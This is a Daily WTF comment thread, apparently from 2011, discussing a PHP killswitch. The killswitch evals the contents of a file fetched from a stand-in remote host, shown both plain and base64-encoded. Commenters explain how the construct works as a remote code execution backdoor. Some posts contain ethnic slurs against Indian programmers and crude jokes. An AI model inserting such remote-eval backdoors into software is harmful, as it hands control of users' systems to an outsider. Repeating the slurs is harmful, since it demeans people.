The Daily WTF: Curious Perversions in Information Technology

2011-10-10 Reply Admin

Sometimes a Cigar is a Cigar:
So when it's done in on the web in PHP, we call it a malicious backdoor. Developers who use it are unethical.
If it's done on the desktop, mobile platform, or video game console, we call it DRM and it's illegal (in the United States anyway) to circumvent. Developers cherish it, thinking it will stop piracy (HA!)

What a messed up world...

We called it a backdoor because, more than being just a killswitch, it opened up more vulnerabilities.

Desktop DRM is totally different.

2011-10-10 Reply Admin

Bob:
Why does everyone think this is a backdoor? Maybe it will be easier to see if it's formatted:
eval( @$enabled = trim(file_get_contents("http://initrode-global.com/rg_initrode.txt")); if(!$enabled) exit; )

For one thing, eval() expects a string argument--not PHP code--so this won't even run. And even if the code inside the eval() were run, it would not evaluate the contents of the remote file! It would just assign the contents to $enabled.

I don't know PHP, but I suspect that the URL is a text string. This function call's data is the PHP code, which offers full XSS.

2011-10-10 Reply Admin

th:
trtrwtf:
TRWTF is everyone knows LAMP is Linux, Apache, MySQL, Perl. Where does PHP come into it?

I thought the P in LAMP was Perl/Python/PHP, all depending on what flavor you wanted?

It's whatever you want it to mean: Linux Apache MUMPS PostgreSQL

Yes, there is an open-source MUMPS, and it can't be any worse than using PHP.

"ludus" - very close to the Latvian word for thank you. odd.

2011-10-10 Reply Admin

Rootbeer:
Government-issued paperwork does not GUARANTEE competence, but it's a better indicator than most.

You are all missing the point of licenses. It is a way for those who are "in" to keep the rest "out". By reducing the supply of programmers we can demand higher pay for those who remain. More money for "us", unemployment and poverty for "them". Sounds like a win/win!

boog · 2011-10-10 Reply Admin

Gary:
Drupal has a couple of good core backdoors for this use case: probably the best is that users can create their own accounts in the default install. So instead of looking for a file on his own server, he could have looked for a user on the drupal instance with a distinct name.
If user "fhqwhgads" exists, then do whatever...

So... allowing users to create user accounts on a website is considered a backdoor?

Interesting...

Laszlo · 2011-10-10 Reply Admin

Fate:
I don't think much of the obfuscation of the guilty URL. (Select the text...)

As the original submitter of this story, I can tell you that the actual line of code was more along the lines of:

eval(QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2luaXRyb2RlLWdsb2JhbC5jb20vcmdfaW5pdHJvZGUudHh0IikpOyBpZighJGVuYWJsZWQpIGV4aXQ7);

Obviously, that is NOT the actual base64 string that I found, but I swear it started with "QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDov" ;)

Addendum (2011-10-10 14:21): Whoops... obviously, I meant:

eval(base64_decode(QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2luaXRyb2RlLWdsb2JhbC5jb20vcmdfaW5pdHJvZGUudHh0IikpOyBpZighJGVuYWJsZWQpIGV4aXQ7));

2011-10-10 Reply Admin

boog:
Gary:
Drupal has a couple of good core backdoors for this use case: probably the best is that users can create their own accounts in the default install. So instead of looking for a file on his own server, he could have looked for a user on the drupal instance with a distinct name.
If user "fhqwhgads" exists, then do whatever...
So... allowing users to create user accounts on a website is considered a backdoor?

I think it would be if those accounts could get admin access and that ability wasn't properly undocumented. Let's say there was a user named "AnalAdmin" that was never mentioned by the dev but has admin access and an inconspicuous name ("hmmm... Analysis Administrator? Better leave that alone"). I don't know about you, but this "AnalAdmin" sounds like it's related to backdoors to me. And I think I'd know a thing or two about the subject.WHAT? IT WAS I.T. RELATED THIS TIME, AT LEAST!

2011-10-10 Reply Admin

Lest ye XSS:
Bob:
Why does everyone think this is a backdoor? Maybe it will be easier to see if it's formatted:
eval( @$enabled = trim(file_get_contents("http://initrode-global.com/rg_initrode.txt")); if(!$enabled) exit; )

For one thing, eval() expects a string argument--not PHP code--so this won't even run. And even if the code inside the eval() were run, it would not evaluate the contents of the remote file! It would just assign the contents to $enabled.

I don't know PHP, but I suspect that the URL is a text string. This function call's data is the PHP code, which offers full XSS.

Argh. file_get_contents returns a string. The string returned would be appended to "$enabled =". The resulting string would be evaluated as code (i.e., interpreted and run by the scripting engine). If the string returned from the URL by way of file_get_contents() was "1" then, yes, boring. If the string returned was "1;\n do_something_bad()" then no, not boring.

Not sure I'd call this XSS; feels more analogous to SQL injection.

2011-10-10 Reply Admin

steenbergh:
If we'd revoke the programming license of people building such killswitches, the world would be a better place.
Then again, if there were programming licenses, most of this crap could be prevented in the first place...

Who should decide whether a programmer is qualified?

(a) The customer, based on the quality of the software produced

(b) A college or trade school, based on his performance in programming classes

(c) The government, based on criteria invented by lawyers and politicians and enforced by bureaucrats

The correct answer is, of course, (c).

This is the logical corollary of the question just recently definitively answered in the U.S.:

Who is best qualified to decide what medical treatment you should receive?

(a) You

(b) Your doctor

(c) Your insurance company

(d) A bureaucrat in Washington

Once it was settled that (c) is not the right answer, it inevitably followed that the correct answer must be (d).

tweek · 2011-10-10 Reply Admin

Gary:
Drupal has a couple of good core backdoors for this use case: probably the best is that users can create their own accounts in the default install. So instead of looking for a file on his own server, he could have looked for a user on the drupal instance with a distinct name.
If user "fhqwhgads" exists, then do whatever...

Come on, "fhqwhgads". (everybody to the limit)

2011-10-10 Reply Admin

boog:
Gary:
Drupal has a couple of good core backdoors for this use case: probably the best is that users can create their own accounts in the default install. So instead of looking for a file on his own server, he could have looked for a user on the drupal instance with a distinct name.
If user "fhqwhgads" exists, then do whatever...
So... allowing users to create user accounts on a website is considered a backdoor?

Interesting...

To be precise, this would be for a killswitch not a backdoor. If I insert code that looks for a user and does_something_bad() if it finds that user, then I can remotely trigger the switch when I create that user. Solves the firewall problem.

On the other hand, if a bot adds 30000 user accounts with names like "Viagra" and "DesignerBagDiscount" to your drupal instance, I would say that's a painful back door attack. True story from my company.

2011-10-10 Reply Admin

Laszlo:
Fate:
I don't think much of the obfuscation of the guilty URL. (Select the text...)

As the original submitter of this story, I can tell you that the actual line of code was more along the lines of:
eval(QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2luaXRyb2RlLWdsb2JhbC5jb20vcmdfaW5pdHJvZGUudHh0IikpOyBpZighJGVuYWJsZWQpIGV4aXQ7);
Obviously, that is NOT the actual base64 string that I found, but I swear it started with "QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDov" ;)

Did it base64 decode the string at least?

2011-10-10 Reply Admin

Ted:
Rootbeer:
Government-issued paperwork does not GUARANTEE competence, but it's a better indicator than most.
You are all missing the point of licenses. It is a way for those who are "in" to keep the rest "out". By reducing the supply of programmers we can demand higher pay for those who remain. More money for "us", unemployment and poverty for "them". Sounds like a win/win!

Louisianna has a law requiring a license to be a florist:

http://www.usatoday.com/news/nation/2010-03-10-florists_N.htm

I'm sure this law was passed after a massive uprising by consumers whose friends and relatives were injured or killed by unqualified florists.

Imagine, in 49 states consumers have NO PROTECTION from incompetent, fly-by-night florists who put the flowers in the vase upside down or don't know the difference between a rose and a carnation. It must be terrifying to just walk the streets of such places.

2011-10-10 Reply Admin

Gary:
On the other hand, if a bot adds 30000 user accounts with names like "Viagra" and "DoucheBagDookie" to your drupal instance, I would say that's a painful back door attack. True story from my company.

Was your company a prison? What kind of sadist would drop in Viagra and and instructions on how to perform the DBD? Back door attacks are painful enough!

2011-10-10 Reply Admin

Jay:
Imagine, in 49 states consumers have NO PROTECTION from incompetent, fly-by-night florists who put the flowers in the vase upside down or don't know the difference between a rose and a carnation. It must be terrifying to just walk the streets of such places.

My mother was killed in a floristry accident when an unlicensed florist mistook a rose for a carnation. This is not a joking matter. Please be more sensitive in the future.

2011-10-10 Reply Admin

Jay:
steenbergh:
Then again, if there were programming licenses, most of this crap could be prevented in the first place...
Who should decide whether a programmer is qualified?
(a) The customer, based on the quality of the software produced (b) A college or trade school, based on his performance in programming classes (c) The government, based on criteria invented by lawyers and politicians and enforced by bureaucrats

Well, let's see... (a) is an idiot who doesn't know what he wants. (b) prefers higher enrollment to higher standards. (c) will sell the opportunity to define the standards to the highest campaign contributor.

Jay:
Who is best qualified to decide what medical treatment you should receive? (a) You (b) Your doctor (c) Your insurance company (d) A bureaucrat in Washington

Again, (a) doesn't know shit. (b) doesn't care, just wants to get you out of there. (c) just wants your money. (d) just wants your vote.

2011-10-10 Reply Admin

Jay:
I'm sure this law was passed after a massive uprising by consumers whose friends and relatives were injured or killed by unqualified florists.

The People's Empire saves us once again from oppression.

2011-10-10 Reply Admin

Bob:
Jay:
Imagine,...

My mother was killed in a floristry accident when an unlicensed florist mistook a rose for a carnation. This is not a joking matter. Please be more sensitive in the future.

Your mother should have "rose" to the occasion.

This is the internet. Everything is a joking matter.

2011-10-10 Reply Admin

Laszlo:
As the original submitter of this story, I can tell you that the actual line of code was more along the lines of:
eval(QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2luaXRyb2RlLWdsb2JhbC5jb20vcmdfaW5pdHJvZGUudHh0IikpOyBpZighJGVuYWJsZWQpIGV4aXQ7);
Obviously, that is NOT the actual base64 string that I found, but I swear it started with "QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDov" ;)

Well, obviously, if it didn't start with QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly8K it was vulnerable to a man-in-the-middle attack!

2011-10-10 Reply Admin

But http://initrode-global.com/rg_initrode.txt isn't a website...

2011-10-10 Reply Admin

Hortical:
Jay:
steenbergh:
Then again, if there were programming licenses, most of this crap could be prevented in the first place...
Who should decide whether a programmer is qualified?
(a) The customer, based on the quality of the software produced (b) A college or trade school, based on his performance in programming classes (c) The government, based on criteria invented by lawyers and politicians and enforced by bureaucrats
Well, let's see... (a) is an idiot who doesn't know what he wants. (b) prefers higher enrollment to higher standards. (c) will sell the opportunity to define the standards to the highest campaign contributor.

Jay:
Who is best qualified to decide what medical treatment you should receive? (a) You (b) Your doctor (c) Your insurance company (d) A bureaucrat in Washington
Again, (a) doesn't know shit. (b) doesn't care, just wants to get you out of there. (c) just wants your money. (d) just wants your vote.

Since you can't do anything about b c or d, you have to work with (a) doesn't know shit. Get off your butt and learn sumpum. You know, like when you're going to buy a car, and you look at consumer reports, and ask your friends, and do everything you can to figure out which seller is full of hot air and which one at least makes an attempt to maintain a good reputation?

Ultimately you are the one who cares most about you. Everyone else is just pretending. Including the people who collect $49.99 per sucker per year for meaningless licenses.

Laszlo · 2011-10-10 Reply Admin

Fate:
I don't think much of the obfuscation of the guilty URL. (Select the text...)

As the original submitter of this story, I can tell you that the actual line of code was more along the lines of:

eval(base64_decode(QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2luaXRyb2RlLWdsb2JhbC5jb20vcmdfaW5pdHJvZGUudHh0IikpOyBpZighJGVuYWJsZWQpIGV4aXQ7));

Obviously, that is NOT the actual base64 string that I found, but I swear it started with "QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDov" ;)

Laszlo · 2011-10-10 Reply Admin

Gary:
Did it base64 decode the string at least?

Whoopsie. Thanks for spotting that. I edited my original post and then reposted so Alex can easily make it featured.

2011-10-10 Reply Admin

Bob: That actually is a backdoor. In PHP, the assignment operator (=) both performs the assignment AND returns the content of the assignment.

So eval($s = '123') both sets $s to '123' and eval's the string "123" as php code.

So while eval(1) wouldn't really do anything, if he changed the contents of the file to "bad_php_code()", then that would execute too.

This construct is generally used in if statements. You can do something like this:

if ( ( $var = function_call() ) !== false ) { // do something with $var }

That will both set the $var and check to see that it wasn't false before using it.

2011-10-10 Reply Admin

I understand that, but when I try to put two expressions inside of eval() I get a syntax error.

2011-10-10 Reply Admin

“Boobie-trapped code“?!

2011-10-10 Reply Admin

Jay:
Ted:
Rootbeer:
Government-issued paperwork does not GUARANTEE competence, but it's a better indicator than most.
You are all missing the point of licenses. It is a way for those who are "in" to keep the rest "out". By reducing the supply of programmers we can demand higher pay for those who remain. More money for "us", unemployment and poverty for "them". Sounds like a win/win!

Louisianna has a law requiring a license to be a florist:

http://www.usatoday.com/news/nation/2010-03-10-florists_N.htm

I'm sure this law was passed after a massive uprising by consumers whose friends and relatives were injured or killed by unqualified florists.

Imagine, in 49 states consumers have NO PROTECTION from incompetent, fly-by-night florists who put the flowers in the vase upside down or don't know the difference between a rose and a carnation. It must be terrifying to just walk the streets of such places.

Are the licensed florists in Louisiana near the drive through daiquiris?

captcha: duis What you need to duis go down the block to the florist. or Lawfirm of Huis, Luis, and Duis

boog · 2011-10-10 Reply Admin

Gary:
boog:
Gary:
Drupal has a couple of good core backdoors for this use case: probably the best is that users can create their own accounts in the default install. So instead of looking for a file on his own server, he could have looked for a user on the drupal instance with a distinct name.
If user "fhqwhgads" exists, then do whatever...
So... allowing users to create user accounts on a website is considered a backdoor?
To be precise, this would be for a killswitch not a backdoor. If I insert code that looks for a user and does_something_bad() if it finds that user, then I can remotely trigger the switch when I create that user. Solves the firewall problem.

The question I was implying was whether that would be a vulnerability in the out-of-the-box Drupal install, or a backdoor/killswitch added to the custom instance by a dishonest developer? You seem to be blaming Drupal for vulnerabilities that are deliberately introduced through nefarious custom code.

Gary:
On the other hand, if a bot adds 30000 user accounts with names like "Viagra" and "DesignerBagDiscount" to your drupal instance, I would say that's a painful back door attack. True story from my company.

Apparently we have different definitions for the term backdoor. That said, I will strongly agree with you that if Drupal by default allows users to create accounts without any kind of verification that the users are human, that's an unnecessary pain in the ass.

2011-10-10 Reply Admin

boog:
Gary:
boog:
Gary:
Drupal has a couple of good core backdoors...
backdoor?...
If I insert co...does_something_bad()... remotely trigger...
vulnerability...
Gary:
"Viagra"... I would say that's a painful back door attack...
Apparently we have different definitions for the term backdoor... that's an unnecessary pain in the ass.

I am about to explode all over my keyboard.

2011-10-10 Reply Admin

Exactly! Are we the only ones that got that? I thought it was brilliant naming.

Forget the code review guys. That's not the point of this post!

2011-10-10 Reply Admin

Everybody to the limit! The Cheat is to the limit! Come on fhqwhgads!

2011-10-10 Reply Admin

You addded addendum to comment nobody read anyway.

2011-10-10 Reply Admin

Hortical:
boog:
Gary:
boog:
Gary:
Drupal has a couple of good core backdoors...
backdoor?...
If I insert co...does_something_bad()... remotely trigger...
vulnerability...
Gary:
"Viagra"... I would say that's a painful back door attack...
Apparently we have different definitions for the term backdoor... that's an unnecessary pain in the ass.
I am about to explode all over my keyboard.

Your head asplode

2011-10-10 Reply Admin

Gary:
Drupal has a couple of good core backdoors for this use case: probably the best is that users can create their own accounts in the default install. So instead of looking for a file on his own server, he could have looked for a user on the drupal instance with a distinct name.
If user "fhqwhgads" exists, then do whatever...

Strong Bad:
Everybody to the limit! The Cheat is to the limit! Come on fhqwhgads!

FTFY

2011-10-10 Reply Admin

futbol:
Hortical:
boog:
Gary:
boog:
Gary:
Drupal has a couple of good core backdoors...
backdoor?...
If I insert co...does_something_bad()... remotely trigger...
vulnerability...
Gary:
"Viagra"... I would say that's a painful back door attack...
Apparently we have different definitions for the term backdoor... that's an unnecessary pain in the ass.
I am about to explode all over my keyboard.
Your head asplode

Yes, my head is about to, all up inside your ass, explode. Indubitably.

CAPTCHA: letatio - for some reason, I pronounce this LAY-TAH-TEE-OH.

2011-10-10 Reply Admin

trtrwtf:
CAPTCHA: letatio - for some reason, I pronounce this LAY-TAH-TEE-OH.

I have the same captcha. I pronounce it "fuh-lay-shee-oh".

2011-10-10 Reply Admin

Иagesh:
You addded addendum to comment nobody read anyway.

You addenduming comment to commentings whom nobodies reading too.

2011-10-10 Reply Admin

You obviously are not married to a nurse. They rag on incompetent doctors all the time.

2011-10-10 Reply Admin

Nagesh:
Иagesh:
You addded addendum to comment nobody read anyway.
You addenduming comment to commentings whom nobodies reading too.

Did I miss National Talk-Like-An-Indian Day again? Or does this diatribe have some weird connection to Columbus Day?

ObiWayneKenobi · 2011-10-10 Reply Admin

Rank:
Did I miss National Talk-Like-An-Indian Day again? Or does this diatribe have some weird connection to Columbus Day?

I think Nagesh needs to be deported. Clearly an H1-B slumdog.

da Doctah · 2011-10-10 Reply Admin

Roman:
trtrwtf:
TRWTF is everyone knows LAMP is Linux, Apache, MySQL, Perl. Where does PHP come into it?
What a heck is Perl?

Australian beer.

2011-10-10 Reply Admin

Fate:
I don't think much of the obfuscation of the guilty URL. (Select the text...)

You're new here, aren't you?

2011-10-10 Reply Admin

Nagesh:
Иagesh:
You addded addendum to comment nobody read anyway.
You addenduming comment to commentings whom nobodies reading too.

That's what I said, madarchod.

2011-10-10 Reply Admin

ObiWayneKenobi:
Nagesh:
That's only as long as the control file keeps containing "1". Whoever is in control of the remote site that hosts it can change the content to something malicious at his leisure, as long as it also keeps evaluating as true (which AFAIK just means that it's neither empty or a zero constant). That's a back door there big enough to drive a space shuttle crawler-transporter through.

This Nagesh is obviously a fake; note the correct English and grammar on all of it's posts. The real Nagesh writes in Hinglish.

Just means this particular Nagesh forgot to make up a real name when he posted and accidentally left "Nagesh" there...

Puppets and Socks....

neminem · 2011-10-10 Reply Admin

trtrwtf:
CAPTCHA: letatio - for some reason, I pronounce this LAY-TAH-TEE-OH.

Incidentally, as a singer rather than a classical scholar, I'd probably pronounce it le-'tah-tsi-oh. Though depending on the region, "shi" or even "tshi", might also be appropriate for the syllable. Languages evolve in interesting ways when spoken over such a wide area and such a broad period of time. (Granted, eventually they evolved into completely mutually incomprehensible languages, but ignoring that.)

2011-10-10 Reply Admin

Some Guy:
ObiWayneKenobi:
Nagesh:
That's only as long as the control file keeps containing "1". Whoever is in control of the remote site that hosts it can change the content to something malicious at his leisure, as long as it also keeps evaluating as true (which AFAIK just means that it's neither empty or a zero constant). That's a back door there big enough to drive a space shuttle crawler-transporter through.

This Nagesh is obviously a fake; note the correct English and grammar on all of it's posts. The real Nagesh writes in Hinglish.
Just means this particular Nagesh forgot to make up a real name when he posted and accidentally left "Nagesh" there...

Puppets and Socks....

Point of Nagesh perversians postings and haker also to deface my good name.

2011-10-10 Reply Admin

LAmp/CRAMP:
th:
trtrwtf:
TRWTF is everyone knows LAMP is Linux, Apache, MySQL, Perl. Where does PHP come into it?

I thought the P in LAMP was Perl/Python/PHP, all depending on what flavor you wanted?

It's whatever you want it to mean: Linux Apache MUMPS PostgreSQL

Yes, there is an open-source MUMPS, and it can't be any worse than using PHP.

"ludus" - very close to the Latvian word for thank you. odd.

I think you mean "Please" Thank-you = paldies Please = lūdzu (also used "You're Welcome" - a bit like "prego" in Italian)

LVL0.02

Matt Westwood · 2011-10-10 Reply Admin

trtrwtf:
QJo:
Rootbeer:
Government-issued paperwork does not GUARANTEE competence, but it's a better indicator than most.
I haven't heard of doctors congregating at a site called "Worse Than Flatlining" to make fun of their incompetent peers' folly, nor "Worse Than Disbarment" for lawyers or "Worse Than Standing Waist-Deep In Feces" for plumbers...

"Worse Than Fish-smell" for a similar site for cleaning and deodorizing personnel

"Worse Than February" for weathermen

"Worse Than Farscape" for TV SF scriptwriters, or "Worse Than Friends" for their non-SF counterparts

"Worse Than Furtrapping" for government registered animal rights liberationists

Sound techs do refer to some singers as "worse than feedback", and they are not registered or licensed.

+1: Google "Don't Worry Kyoko" and you will see that yes indeed, there is worse than feedback.

Matt Westwood · 2011-10-10 Reply Admin

foo:
trtrwtf:
QJo:
Rootbeer:
Government-issued paperwork does not GUARANTEE competence, but it's a better indicator than most.
I haven't heard of doctors congregating at a site called "Worse Than Flatlining" to make fun of their incompetent peers' folly, nor "Worse Than Disbarment" for lawyers or "Worse Than Standing Waist-Deep In Feces" for plumbers...

"Worse Than Fish-smell" for a similar site for cleaning and deodorizing personnel

"Worse Than February" for weathermen

"Worse Than Farscape" for TV SF scriptwriters, or "Worse Than Friends" for their non-SF counterparts

"Worse Than Furtrapping" for government registered animal rights liberationists

Sound techs do refer to some singers as "worse than feedback", and they are not registered or licensed.

You suggest we should have talent shows for programmers on TV?

"... and here's Cocktothorpe, he's writing a for loop ... but look! he's used a magic number. Tell me Bill, what's the philosophy on Magic Numbers now?"

"Well, Richard, the rules haven't changed since... Wait! Nagesh has just used a goto! He's coming close to completing the method, but that goto is surely going to count against him in the "Style" stakes. But as I was saying ..."

I think that could be a hit.

Matt Westwood · 2011-10-10 Reply Admin

x00|\|3$!$:
trtrwtf:
QJo:
"Worse Than Fish-smell" for a similar site for cleaning and deodorizing personnel
Sound techs do refer to some singers as "worse than feedback", and they are not registered or licensed.
I think "Worse Than Fish-smell" is where pimps go to gossip about burnt-out employees, and their only credential is the Whoremonger's Creed - which is not administered by a government agency.

It pains me to say it, but a post by the Z word that is actually almost amusing.

The Jammed Killswitch

Leave a comment on “The Jammed Killswitch”